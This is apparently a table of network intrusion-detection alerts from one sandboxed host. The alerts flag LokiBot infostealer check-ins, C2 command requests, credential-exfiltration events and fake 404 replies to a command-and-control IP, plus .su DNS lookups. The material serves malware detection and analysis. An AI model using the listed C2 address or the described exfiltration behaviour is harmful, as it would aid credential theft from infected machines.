192.168.2.395.213.216.20249754802024313 11/30/22-00:55:53.496270	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49754	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249748802021641 11/30/22-00:55:42.098367	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249725802024318 11/30/22-00:54:59.930841	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49725	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249742802021641 11/30/22-00:55:31.101064	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249755802825766 11/30/22-00:55:55.653974	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49755	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249754802024318 11/30/22-00:55:53.496270	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49754	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249709802025381 11/30/22-00:54:29.164231	TCP	2025381	ET TROJAN LokiBot Checkin	49709	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.849977532014169 11/30/22-00:54:06.875981	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49977	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.856924532014169 11/30/22-00:54:16.879287	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	56924	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249700802024317 11/30/22-00:54:09.487691	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49700	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249739802825766 11/30/22-00:55:25.267085	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49739	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.860582532014169 11/30/22-00:54:28.778637	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60582	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497192025483 11/30/22-00:54:51.280995	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49719	95.213.216.202	192.168.2.3
192.168.2.38.8.8.864595532014169 11/30/22-00:55:31.020256	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	64595	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249742802825766 11/30/22-00:55:31.101064	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49742	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249700802024312 11/30/22-00:54:09.487691	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49700	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249711802025381 11/30/22-00:54:33.859062	TCP	2025381	ET TROJAN LokiBot Checkin	49711	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.860767532014169 11/30/22-00:54:45.460012	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60767	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249739802021641 11/30/22-00:55:25.267085	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249724802025381 11/30/22-00:54:58.184483	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249751802021641 11/30/22-00:55:47.279515	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249758802825766 11/30/22-00:56:00.034214	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49758	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249710802021641 11/30/22-00:54:31.910937	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49710	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249711802021641 11/30/22-00:54:33.859062	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49711	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.849201532014169 11/30/22-00:56:00.958664	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49201	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249729802024313 11/30/22-00:55:07.068054	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249758802025381 11/30/22-00:56:00.034214	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497262025483 11/30/22-00:55:03.204141	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49726	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249743802025381 11/30/22-00:55:32.962709	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249729802024318 11/30/22-00:55:07.068054	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49729	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249744802021641 11/30/22-00:55:34.401351	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249726802021641 11/30/22-00:55:01.673863	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249750802024313 11/30/22-00:55:45.758418	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249710802825766 11/30/22-00:54:31.910937	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49710	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497222025483 11/30/22-00:54:56.166551	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49722	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249750802024318 11/30/22-00:55:45.758418	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249699802021641 11/30/22-00:54:07.324934	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49699	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497202025483 11/30/22-00:54:53.259308	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49720	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249701802021641 11/30/22-00:54:12.581436	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49701	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.853623532014169 11/30/22-00:55:10.547934	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53623	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249754802021641 11/30/22-00:55:53.496270	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49754	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249715802025381 11/30/22-00:54:42.060768	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.852955532014169 11/30/22-00:54:26.705694	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	52955	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249740802024313 11/30/22-00:55:27.193434	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249740802024318 11/30/22-00:55:27.193434	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249738802025381 11/30/22-00:55:23.450513	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249731802021641 11/30/22-00:55:10.632751	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249752802021641 11/30/22-00:55:49.378987	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249703802021641 11/30/22-00:54:16.960834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49703	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249712802024313 11/30/22-00:54:35.972913	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49712	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249727802825766 11/30/22-00:55:03.486766	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49727	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249717802025381 11/30/22-00:54:45.540558	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.859581532014169 11/30/22-00:55:17.784201	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	59581	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249712802024318 11/30/22-00:54:35.972913	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49712	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497312025483 11/30/22-00:55:12.166821	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49731	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249739802024313 11/30/22-00:55:25.267085	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249725802025381 11/30/22-00:54:59.930841	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.849166532014169 11/30/22-00:55:40.126118	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49166	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.860749532014169 11/30/22-00:54:58.103973	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	60749	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497052025483 11/30/22-00:54:21.783216	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49705	95.213.216.202	192.168.2.3
192.168.2.38.8.8.853975532014169 11/30/22-00:54:22.160619	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53975	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249753802025381 11/30/22-00:55:51.242717	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249757802021641 11/30/22-00:55:58.948901	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249716802021641 11/30/22-00:54:43.829219	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249739802024318 11/30/22-00:55:25.267085	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49739	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249741802825766 11/30/22-00:55:29.247109	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49741	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249700802825766 11/30/22-00:54:09.487691	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49700	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249720802024313 11/30/22-00:54:51.608521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249708802024318 11/30/22-00:54:26.803652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49708	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497482025483 11/30/22-00:55:43.661913	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49748	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249731802825766 11/30/22-00:55:10.632751	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49731	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249702802024313 11/30/22-00:54:14.871390	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49702	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249720802024318 11/30/22-00:54:51.608521	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49720	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249737802825766 11/30/22-00:55:21.614296	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49737	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249702802024318 11/30/22-00:54:14.871390	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49702	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249719802825766 11/30/22-00:54:49.641508	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49719	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.863446532014169 11/30/22-00:55:43.898414	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	63446	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497092025483 11/30/22-00:54:30.691043	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49709	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497432025483 11/30/22-00:55:34.122250	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49743	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249708802024313 11/30/22-00:54:26.803652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49708	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.858119532014169 11/30/22-00:55:38.197046	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	58119	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.857990532014169 11/30/22-00:54:11.706174	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57990	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249759802024318 11/30/22-00:56:01.042444	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249709802825766 11/30/22-00:54:29.164231	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49709	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249730802024313 11/30/22-00:55:08.823725	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249745802025381 11/30/22-00:55:36.377571	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249724802021641 11/30/22-00:54:58.184483	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249759802024313 11/30/22-00:56:01.042444	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249703802825766 11/30/22-00:54:16.960834	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49703	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249704802025381 11/30/22-00:54:18.966132	TCP	2025381	ET TROJAN LokiBot Checkin	49704	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497152025483 11/30/22-00:54:43.541337	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49715	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249730802024318 11/30/22-00:55:08.823725	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249718802024318 11/30/22-00:54:47.592007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.864121532014169 11/30/22-00:55:57.444180	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	64121	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249719802021641 11/30/22-00:54:49.641508	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249721802825766 11/30/22-00:54:53.572062	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49721	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497042025483 11/30/22-00:54:19.714505	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49704	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249747802021641 11/30/22-00:55:40.214633	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.849874532014169 11/30/22-00:55:45.675021	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49874	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249722802025381 11/30/22-00:54:54.732179	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249718802024313 11/30/22-00:54:47.592007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.853428532014169 11/30/22-00:55:25.189214	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53428	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249736802024318 11/30/22-00:55:19.643476	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49736	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249736802024313 11/30/22-00:55:19.643476	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249732802025381 11/30/22-00:55:12.457821	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497592025483 11/30/22-00:56:01.793951	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49759	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249746802024318 11/30/22-00:55:38.275174	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49746	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249749802024318 11/30/22-00:55:43.976237	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249737802021641 11/30/22-00:55:21.614296	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249746802024313 11/30/22-00:55:38.275174	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497542025483 11/30/22-00:55:55.161061	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49754	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249735802025381 11/30/22-00:55:17.863854	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249706802021641 11/30/22-00:54:22.484255	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49706	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249734802021641 11/30/22-00:55:16.065951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249699802825766 11/30/22-00:54:07.324934	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49699	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497322025483 11/30/22-00:55:13.950022	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49732	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497372025483 11/30/22-00:55:23.147009	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49737	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249749802024313 11/30/22-00:55:43.976237	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249748802025381 11/30/22-00:55:42.098367	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497212025483 11/30/22-00:54:54.418787	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49721	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497102025483 11/30/22-00:54:33.459515	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49710	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249733802024313 11/30/22-00:55:14.244291	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249707802025381 11/30/22-00:54:24.716724	TCP	2025381	ET TROJAN LokiBot Checkin	49707	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249733802024318 11/30/22-00:55:14.244291	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49733	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.851139532014169 11/30/22-00:54:24.370686	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	51139	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249721802021641 11/30/22-00:54:53.572062	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249747802825766 11/30/22-00:55:40.214633	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49747	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249706802825766 11/30/22-00:54:22.484255	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49706	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249709802021641 11/30/22-00:54:29.164231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49709	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.855638532014169 11/30/22-00:54:39.891168	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	55638	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.853466532014169 11/30/22-00:55:06.970990	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53466	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249717802021641 11/30/22-00:54:45.540558	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.864823532014169 11/30/22-00:55:34.318234	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	64823	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249706802025381 11/30/22-00:54:22.484255	TCP	2025381	ET TROJAN LokiBot Checkin	49706	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249716802825766 11/30/22-00:54:43.829219	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49716	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249720802021641 11/30/22-00:54:51.608521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865017532014169 11/30/22-00:55:05.186135	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65017	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249734802025381 11/30/22-00:55:16.065951	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249723802024318 11/30/22-00:54:56.463103	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49723	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.864602532014169 11/30/22-00:55:53.393350	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	64602	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497252025483 11/30/22-00:55:01.390776	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49725	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497292025483 11/30/22-00:55:08.539654	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49729	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249723802024313 11/30/22-00:54:56.463103	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.853848532014169 11/30/22-00:54:49.539403	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53848	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249744802825766 11/30/22-00:55:34.401351	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49744	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865107532014169 11/30/22-00:54:47.470066	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65107	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249739802025381 11/30/22-00:55:25.267085	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249712802021641 11/30/22-00:54:35.972913	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249753802021641 11/30/22-00:55:51.242717	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249725802021641 11/30/22-00:54:59.930841	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249748802024318 11/30/22-00:55:42.098367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249731802024313 11/30/22-00:55:10.632751	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249748802024313 11/30/22-00:55:42.098367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865196532014169 11/30/22-00:55:14.166464	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65196	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249731802024318 11/30/22-00:55:10.632751	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249708802825766 11/30/22-00:54:26.803652	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49708	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249749802825766 11/30/22-00:55:43.976237	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49749	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249743802024313 11/30/22-00:55:32.962709	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249757802825766 11/30/22-00:55:58.948901	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49757	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249743802024318 11/30/22-00:55:32.962709	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249728802024318 11/30/22-00:55:05.285201	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249750802025381 11/30/22-00:55:45.758418	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249700802021641 11/30/22-00:54:09.487691	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49700	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249728802024313 11/30/22-00:55:05.285201	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249714802025381 11/30/22-00:54:39.977728	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249724802825766 11/30/22-00:54:58.184483	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49724	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249719802025381 11/30/22-00:54:49.641508	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249756802024318 11/30/22-00:55:57.533680	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49756	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249742802025381 11/30/22-00:55:31.101064	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249733802021641 11/30/22-00:55:14.244291	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249729802825766 11/30/22-00:55:07.068054	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49729	80	192.168.2.3	95.213.216.202
